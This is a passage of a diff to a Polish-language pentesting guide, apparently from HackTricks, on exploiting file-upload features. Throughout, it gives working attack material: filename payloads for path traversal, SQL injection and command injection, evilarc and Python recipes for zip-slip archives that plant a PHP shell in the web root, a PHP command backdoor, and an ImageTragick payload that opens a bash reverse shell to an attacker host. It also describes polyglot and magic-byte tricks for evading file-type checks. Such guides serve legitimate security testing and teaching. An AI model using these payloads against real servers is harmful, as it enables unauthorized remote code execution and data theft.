wykorzystywania podatności, zapewniając gruntowną ocenę aplikacji webowych. -## Od przesyłania plików do innych luk +### Corrupting upload indices with snprintf quirks (historical) -- Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **przechodzenie ścieżki** -- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz być w stanie osiągnąć **SQL injection** -- Ustaw **filename** na ``, aby osiągnąć XSS -- Ustaw **filename** na `; sleep 10;`, aby przetestować pewne wstrzykiwanie poleceń (więcej [sztuczek wstrzykiwania poleceń tutaj](../command-injection.md)) -- [**XSS** w przesyłaniu plików obrazów (svg)](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) -- **JS** plik **upload** + **XSS** = [**Wykorzystanie Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) -- [**XXE w przesyłaniu svg**](../xxe-xee-xml-external-entity.md#svg-file-upload) -- [**Open Redirect** poprzez przesyłanie pliku svg](../open-redirect.md#open-redirect-uploading-svg-files) -- Spróbuj **różnych ładunków svg** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) -- [Słynna luka **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -- Jeśli możesz **wskazać serwer internetowy, aby pobrał obraz z URL**, możesz spróbować wykorzystać [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **obraz** ma być **zapisany** na jakiejś **publicznej** stronie, możesz również wskazać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje od każdego odwiedzającego**. -- [**XXE i CORS** obejście z przesyłaniem PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md) -- Specjalnie przygotowane PDF-y do XSS: [następująca strona przedstawia, jak **wstrzyknąć dane PDF, aby uzyskać wykonanie JS**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz przesyłać PDF-y, możesz przygotować PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami. -- Prześlij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)), aby sprawdzić, czy serwer ma jakikolwiek **antywirus** -- Sprawdź, czy istnieje jakikolwiek **limit rozmiaru** podczas przesyłania plików +Niektóre legacy upload handlery używające `snprintf()` lub podobnych do budowania tablic multi-file z pojedynczego uploadu mogą zostać oszukane tak, by sfałszować strukturę `_FILES`. Z powodu niespójności i obcinania w zachowaniu `snprintf()`, starannie przygotowany pojedynczy upload może wyglądać po stronie serwera jak wiele plików z indeksami, co wprowadza w błąd logikę zakładającą sztywną strukturę (np. traktując to jako multi-file upload i wybierając niebezpieczne ścieżki). Choć dziś niszowe, ten wzorzec „index corruption” czasem powraca w CTFs i starszych kodach. -Oto lista 10 rzeczy, które możesz osiągnąć, przesyłając (z [tutaj](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): +## Od uploadu pliku do innych podatności + +- Ustaw **filename** na `../../../tmp/lol.png` i spróbuj osiągnąć **path traversal** +- Ustaw **filename** na `sleep(10)-- -.jpg` i możesz osiągnąć **SQL injection** +- Ustaw **filename** na ``, aby osiągnąć **XSS** +- Ustaw **filename** na `; sleep 10;`, aby przetestować pewne command injection (more [command injections tricks here](../command-injection.md)) +- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg) +- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers) +- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload) +- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files) +- Wypróbuj **różne svg payloady** z [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) +- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) +- Jeśli możesz **zlecić serwerowi pobranie obrazu z URL**, możesz spróbować nadużyć [SSRF](../ssrf-server-side-request-forgery/index.html). Jeśli ten **obraz** zostanie **zapisany** w jakimś **publicznym** miejscu, możesz też podać URL z [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukraść informacje o każdym odwiedzającym**. +- [**XXE and CORS** bypass with PDF-Adobe upload](pdf-upload-xxe-and-cors-bypass.md) +- Specjalnie spreparowane PDFy do XSS: Strona [following page present how to **inject PDF data to obtain JS execution**](../xss-cross-site-scripting/pdf-injection.md). Jeśli możesz uploadować PDFy, możesz przygotować taki PDF, który wykona dowolny JS zgodnie z podanymi wskazówkami. +- Wyślij zawartość \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) aby sprawdzić, czy serwer ma jakiś **antivirus** +- Sprawdź, czy istnieje jakiś **limit rozmiaru** przy uploadzie plików + +Oto lista top 10 rzeczy, które możesz osiągnąć przez upload (źródło: [here](https://twitter.com/SalahHasoneh1/status/1281274120395685889)): 1. **ASP / ASPX / PHP5 / PHP / PHP3**: Webshell / RCE -2. **SVG**: Przechowywane XSS / SSRF / XXE -3. **GIF**: Przechowywane XSS / SSRF -4. **CSV**: Wstrzykiwanie CSV +2. **SVG**: Stored XSS / SSRF / XXE +3. **GIF**: Stored XSS / SSRF +4. **CSV**: CSV injection 5. **XML**: XXE 6. **AVI**: LFI / SSRF -7. **HTML / JS** : Wstrzykiwanie HTML / XSS / Otwarte przekierowanie -8. **PNG / JPEG**: Atak pixel flood (DoS) -9. **ZIP**: RCE poprzez LFI / DoS +7. **HTML / JS** : HTML injection / XSS / Open redirect +8. **PNG / JPEG**: Pixel flood attack (DoS) +9. **ZIP**: RCE via LFI / DoS 10. **PDF / PPTX**: SSRF / BLIND XXE #### Rozszerzenie Burp + {{#ref}} https://github.com/portswigger/upload-scanner {{#endref}} @@ -204,34 +209,34 @@ https://github.com/portswigger/upload-scanner - **PNG**: `"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03["` - **JPG**: `"\xff\xd8\xff"` -Odniesienie do [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) dla innych typów plików. +Zobacz [https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures) dla innych typów plików. -## Automatycznie dekompresowane przesyłanie plików Zip/Tar +## Automatyczne rozpakowywanie ZIP/TAR po uploadzie -Jeśli możesz przesłać ZIP, który ma być dekompresowany na serwerze, możesz zrobić 2 rzeczy: +Jeśli możesz przesłać ZIP, który będzie rozpakowany na serwerze, możesz zrobić dwie rzeczy: ### Symlink -Prześlij link zawierający miękkie linki do innych plików, a następnie, uzyskując dostęp do dekompresowanych plików, uzyskasz dostęp do powiązanych plików: +Wyślij archiwum zawierające dowiązania symboliczne do innych plików, a następnie, uzyskując dostęp do rozpakowanych plików, otrzymasz dostęp do wskazanych plików: ``` ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Decompress in different folders +### Rozpakowywanie do różnych folderów -Nieoczekiwane tworzenie plików w katalogach podczas dekompresji jest poważnym problemem. Mimo początkowych założeń, że ta konfiguracja może chronić przed wykonaniem poleceń na poziomie systemu operacyjnego poprzez złośliwe przesyłanie plików, hierarchiczne wsparcie dla kompresji i możliwości przechodzenia przez katalogi formatu archiwum ZIP mogą być wykorzystane. Umożliwia to atakującym obejście ograniczeń i ucieczkę z bezpiecznych katalogów przesyłania, manipulując funkcjonalnością dekompresji docelowej aplikacji. +Nieoczekiwane tworzenie plików w katalogach podczas dekompresji stanowi poważny problem. Pomimo początkowych założeń, że taka konfiguracja może chronić przed OS-level command execution poprzez złośliwe file uploads, obsługa hierarchicznej kompresji i możliwości directory traversal formatu ZIP mogą zostać wykorzystane. Pozwala to atakującym obejść ograniczenia i wydostać się z bezpiecznych upload directories przez manipulację funkcją dekompresji aplikacji docelowej. -Zautomatyzowany exploit do tworzenia takich plików jest dostępny na [**evilarc na GitHubie**](https://github.com/ptoomey3/evilarc). Narzędzie można używać w sposób pokazany: +Zautomatyzowany exploit umożliwiający utworzenie takich plików jest dostępny pod [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Narzędzie można użyć jak pokazano: ```python # Listing available options python2 evilarc.py -h # Creating a malicious archive python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php ``` -Dodatkowo, **sztuczka z symlinkiem z evilarc** jest opcją. Jeśli celem jest celowanie w plik taki jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. Zapewnia to, że evilarc nie napotka błędów podczas swojej operacji. +Dodatkowo, **symlink trick with evilarc** jest opcją. Jeśli celem jest zaatakowanie pliku takiego jak `/flag.txt`, należy utworzyć symlink do tego pliku w swoim systemie. To zapewnia, że evilarc nie napotka błędów podczas działania. -Poniżej znajduje się przykład kodu Python używanego do stworzenia złośliwego pliku zip: +Poniżej znajduje się przykład kodu Python użytego do stworzenia złośliwego pliku zip: ```python #!/usr/bin/python import zipfile @@ -249,11 +254,11 @@ zip.close() create_zip() ``` -**Wykorzystywanie kompresji do spryskiwania plików** +**Wykorzystywanie kompresji do file spraying** -Aby uzyskać więcej szczegółów **sprawdź oryginalny post w**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) +Po więcej szczegółów **sprawdź oryginalny wpis na**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) -1. **Tworzenie powłoki PHP**: Kod PHP jest napisany w celu wykonania poleceń przekazanych przez zmienną `$_REQUEST`. +1. **Creating a PHP Shell**: Kod PHP zapisany jest tak, aby wykonywał polecenia przekazywane przez zmienną `$_REQUEST`. ```php ``` -2. **Spryskiwanie plików i tworzenie skompresowanego pliku**: Tworzone są wiele plików, a następnie składany jest archiwum zip zawierające te pliki. +2. **File Spraying and Compressed File Creation**: Utworzono wiele plików, a następnie złożono archiwum zip zawierające te pliki. ```bash root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done root@s2crew:/tmp# zip cmd.zip xx*.php ``` -3. **Modyfikacja za pomocą edytora hex lub vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zmieniając "xxA" na "../", aby przejść do katalogów. +3. **Modification with a Hex Editor or vi**: Nazwy plików wewnątrz zip są zmieniane za pomocą vi lub edytora hex, zastępując "xxA" przez "../", aby przejść do katalogów wyżej. ```bash :set modifiable @@ -280,40 +285,40 @@ root@s2crew:/tmp# zip cmd.zip xx*.php ## ImageTragic -Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać lukę **(ImageMagick , 7.0.1-1)** (z [eksploitu](https://www.exploit-db.com/exploits/39767)) +Prześlij tę zawartość z rozszerzeniem obrazu, aby wykorzystać podatność **(ImageMagick , 7.0.1-1)** (z [exploit](https://www.exploit-db.com/exploits/39767)) ``` push graphic-context viewbox 0 0 640 480 fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)' pop graphic-context ``` -## Osadzanie powłoki PHP w PNG +## Osadzanie PHP shell w PNG -Osadzanie powłoki PHP w kawałku IDAT pliku PNG może skutecznie omijać niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane do zmiany rozmiaru i próbkowania obrazów. Zdolność osadzonej powłoki PHP do pozostawania nietkniętą przez te operacje stanowi istotną zaletę w niektórych przypadkach użycia. +Osadzenie PHP shell w chunku IDAT pliku PNG może skutecznie obejść niektóre operacje przetwarzania obrazów. Funkcje `imagecopyresized` i `imagecopyresampled` z PHP-GD są szczególnie istotne w tym kontekście, ponieważ są powszechnie używane odpowiednio do zmiany rozmiaru i resamplingu obrazów. Możliwość, że osadzony PHP shell pozostaje niezmieniony przez te operacje, stanowi istotną przewagę w niektórych przypadkach użycia. -Szczegółowe omówienie tej techniki, w tym jej metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). To źródło oferuje kompleksowe zrozumienie procesu i jego implikacji. +Szczegółowe omówienie tej techniki, w tym metodologia i potencjalne zastosowania, znajduje się w następującym artykule: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Ten materiał oferuje kompleksowe zrozumienie procesu i jego implikacji. -Więcej informacji w: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) +More information in: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) -## Pliki poliglotowe +## Pliki polyglot -Pliki poliglotowe służą jako unikalne narzędzie w cyberbezpieczeństwie, działając jak kameleony, które mogą jednocześnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i archiwum RAR. Takie pliki nie ograniczają się do tej pary; kombinacje takie jak GIF i JS lub PPT i JS są również możliwe. +Pliki polyglot działają jak kameleony — mogą jednocześnie poprawnie istnieć w wielu formatach plików. Interesującym przykładem jest [GIFAR](https://en.wikipedia.org/wiki/Gifar), hybryda, która działa zarówno jako GIF, jak i RAR. Takie pliki nie ograniczają się do tej pary; możliwe są też kombinacje typu GIF i JS lub PPT i JS. -Podstawowa użyteczność plików poliglotowych polega na ich zdolności do omijania środków bezpieczeństwa, które skanują pliki na podstawie typu. Powszechną praktyką w różnych aplikacjach jest zezwalanie tylko na określone typy plików do przesyłania—takie jak JPEG, GIF lub DOC—aby zminimalizować ryzyko związane z potencjalnie szkodliwymi formatami (np. JS, PHP lub pliki Phar). Jednak plik poliglotowy, dostosowując się do kryteriów strukturalnych wielu typów plików, może dyskretnie omijać te ograniczenia. +Główna użyteczność polyglotów polega na ich zdolności do obchodzenia zabezpieczeń, które filtrują pliki na podstawie typu. W praktyce wiele aplikacji dopuszcza do uploadu tylko określone typy plików — np. JPEG, GIF czy DOC — aby zmniejszyć ryzyko związane z potencjalnie niebezpiecznymi formatami (np. JS, PHP, czy Phar). Jednak polyglot, spełniając strukturalne kryteria wielu formatów jednocześnie, może cicho ominąć te ograniczenia. -Mimo swojej elastyczności, pliki poliglotowe napotykają ograniczenia. Na przykład, podczas gdy plik poliglotowy może jednocześnie zawierać plik PHAR (PHp ARchive) i JPEG, sukces jego przesyłania może zależeć od polityki rozszerzeń plików platformy. Jeśli system jest rygorystyczny w kwestii dozwolonych rozszerzeń, sama strukturalna dualność pliku poliglotowego może nie wystarczyć, aby zapewnić jego przesłanie. +Mimo swojej wszechstronności polygloty napotykają ograniczenia. Na przykład, chociaż polyglot może jednocześnie być PHAR i JPEG, powodzenie uploadu może zależeć od polityki rozszerzeń na platformie. Jeśli system jest rygorystyczny co do dozwolonych rozszerzeń, sama strukturalna dwoistość polyglota może nie wystarczyć do umożliwienia uploadu. -Więcej informacji w: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) +More information in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -### Przesyłanie ważnych JSON-ów jakby to był PDF +### Wgrywanie prawidłowych plików JSON, tak jakby to był PDF -Jak unikać wykrywania typu pliku, przesyłając ważny plik JSON, nawet jeśli nie jest to dozwolone, udając plik PDF (techniki z **[tego wpisu na blogu](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): +Jak uniknąć wykrywania typu pliku, wgrywając prawidłowy plik JSON nawet jeśli nie jest dozwolony, podszywając go pod PDF (techniki z **[this blog post](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**): -- **Biblioteka `mmmagic`**: Tak długo, jak bajty magiczne `%PDF` znajdują się w pierwszych 1024 bajtach, jest to ważne (przykład z wpisu) -- **Biblioteka `pdflib`**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka myślała, że to PDF (przykład z wpisu) -- **Binarne `file`**: Może odczytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż to, aby nie mógł sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF, a pomyśli, że to PDF +- **`mmmagic` library**: Dopóki magic bytes `%PDF` znajdują się w pierwszych 1024 bajtach, plik jest uznawany za ważny (zobacz przykład w poście) +- **`pdflib` library**: Dodaj fałszywy format PDF wewnątrz pola JSON, aby biblioteka uznała to za pdf (zobacz przykład w poście) +- **`file` binary**: Może czytać do 1048576 bajtów z pliku. Po prostu stwórz JSON większy niż to, aby nie móc sparsować zawartości jako JSON, a następnie wewnątrz JSON umieść początkową część prawdziwego PDF — wtedy narzędzie uzna plik za PDF -## Odnośniki +## Źródła - [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files) - [https://github.com/modzero/mod0BurpUploadScanner](https://github.com/modzero/mod0BurpUploadScanner) @@ -322,5 +327,6 @@ Jak unikać wykrywania typu pliku, przesyłając ważny plik JSON, nawet jeśli - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}}